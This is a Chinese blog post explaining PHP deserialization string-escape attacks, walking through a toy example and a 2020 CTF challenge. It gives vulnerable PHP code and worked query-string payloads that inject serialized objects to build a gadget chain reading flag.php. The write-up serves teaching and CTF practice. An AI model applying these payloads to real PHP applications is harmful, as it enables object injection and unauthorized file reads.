本篇博客主要介绍了反序列化字符逃逸的相关内容!

什么是反序列化字符逃逸?

个人理解:在反序列化之前,存在对序列化字符串的替换等操作,导致可以构造特定的字符串序列达到本来完成不了的操作,比如修改其他变量的值,注入对象。

举个例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
include 'flag.php';
function filter($string){
return str_replace('x','yy',$string);
}
$username = $_GET['u'];
$password = "aaa";
$user = array($username, $password);
$s = serialize($user);
$r = filter($s);
$a= unserialize($r);
if($a[1]==='admin'){
echo $flag;
}
highlight_file(__FILE__);

有上面一段代码,可以看到我们可控的地方只有$username,后面有一个filter函数替换

我们知道,PHP 在反序列化时,底层代码是以 ; 作为字段的分隔,以 } 作为结尾(字符串除外),并且是根据长度判断内容的

正常的序列化结果是这样的(假设u=admin):

1
a:2:{i:0;s:5:"admin";i:1;s:3:"aaa";}

此时是没有x的,假设我们输入一个带字母x的(u=testx),序列化经过替换就会变成

1
a:2:{i:0;s:5:"testyy";i:1;s:3:"aaa";}

此时反序列化,就会失败,testyy的长度不是5而是6,unserialize函数返回false

但是,假如我们传入,长度为38

1
/?u=xxxxxxxxxxxxxxxxxxx";i:1;s:5:"admin";}

此时序列化结果是:

1
a:2:{i:0;s:38:"xxxxxxxxxxxxxxxxxxx";i:1;s:5:"admin";}";i:1;s:3:"aaa";}

经过替换后序列化结果:

1
a:2:{i:0;s:38:"yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy";i:1;s:5:"admin";}";i:1;s:3:"aaa";}

此时yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy的长度刚好为38,再加上后面的;i:1;s:5:"admin";}成功反序列化,而这后面的直接忽略了

那怎样算到底有多少个x呢?我用的方法是列方程😂

首先我们要确定需要添加的内容,也就是后面一串,即";i:1;s:5:"admin";},长度为19(设为m),满足以下式子(设有n个x字符,";i:1;s:5:"admin";}前面有y个非x字符):

1
n+y+m=2n+y // 原来字符串的长度 = 替换后去掉m的长度

解方程得n=19,即我们要有19个x,y随意,从等式可以看出抵消了

如果碰到除不尽的情况,我们可以在";i:1;s:5:"admin";}前面增加一些非x字符,类似

1
a";i:1;s:5:"admin";}

此时m的长度大于19

CTF题目

2020安恒四月月赛

源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
show_source("index.php");
function write($data) {
return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
}
function read($data) {
return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
}
class A{
public $username;
public $password;
function __construct($a, $b){
$this->username = $a;
$this->password = $b;
}
}
class B{
public $b = 'gqy';
function __destruct(){
$c = 'a'.$this->b;
echo $c;
}
}
class C{
public $c;
function __toString(){
//flag.php
echo file_get_contents($this->c);
return 'nice';
}
}

$a = new A($_GET['a'],$_GET['b']);
//省略了存储序列化数据的过程,下面是取出来并反序列化的操作
$e = serialize($a);
$c = write($e);
$d = read($c);
$b = unserialize($d);

可以看到,我们可以控制GET参数a,b的值

在反序列化之前,序列化字符串经过了两次替换(chr(0)%00替换)

第一次是把%00*%00替换成了\0\0\0,这里长度增加,由3变成6

第二次是把\0\0\0替换成了%00*%00,这里长度减少,由6变成3

先看下正常序列化的结果(a=admin,b=admin):

1
O:1:"A":2:{s:8:"username";s:5:"admin";s:8:"password";s:5:"admin";}

首先我们知道,如果是嵌套的类(类里面的参数还是个类),举个例子,这里为了方便直接把读flag.php的链构造出来了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
class A{
public $username;
public $password;
function __construct($a, $b){
$this->username = $a;
$this->password = $b;
}
}
class B{
public $b = 'gqy';
// function __destruct(){
// $c = 'a'.$this->b;
// echo $c;
// }
}
class C{
public $c;
// function __toString(){
// echo file_get_contents($this->c);
// return 'nice';
// }
}
$c=new C;
$c->c='flag.php';
$b=new B;
$b->b=$c;
$a=new A($b,'admin');
echo serialize($a);

此时的序列化结果是这样的:

1
O:1:"A":2:{s:8:"username";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}s:8:"password";s:5:"admin";}

由于我们传的A类username属性是一个B对象,所以后面就变成了

1
O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}

而这个B对象的b属性是一个C对象,所以还能分解

1
O:1:"C":1:{s:1:"c";s:8:"flag.php";}

明白类里面嵌套类的序列化格式,我们再来看怎末逃逸出去的。

首先我们要知道的下面一串是我们需要添上去的,长度为58

1
";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}}

我们可以把序列化字符串放到username那里,并且用之前那个例子变长的那种思路,但是这种方式并不行,因为经过替换之后它又替换回来了,所以我们只能用变短的思路

总的思路:通俗的说就是username吃掉后面的password

正常序列化字符串

1
O:1:"A":2:{s:8:"username";s:5:"admin";s:8:"password";s:5:"admin";}

此时我们需要添加的就变成,长度为72

1
;s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}}

要吃掉的就是,长度23,**那里表示两位,表示password的长度

1
";s:8:"password";s:**:"

列方程,n代表\0\0\0的数目,y表示其它字符

1
2
6n+y=3n+23+y	// 原字符长度 = 吃掉";s:8:"password";s:**:" + 替换后长度 
// 其它字符在替换时不受影响 可以不考虑

计算一下发现3n=23,除不尽,所以我们需要改下后面那串,前面增加点东西,类似

1
a";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}}

想获取多种payloaad,我们可以列式子,k表示增加的字符长度

1
6n+y=3n+23+y+k

当k=1时 n=8

可以构造payload:

1
?a=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&b=a";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}}

也可以当k=4 n=9

payload:

1
?a=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&b=abcd";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}}

参考:

https://xz.aliyun.com/t/6718

评论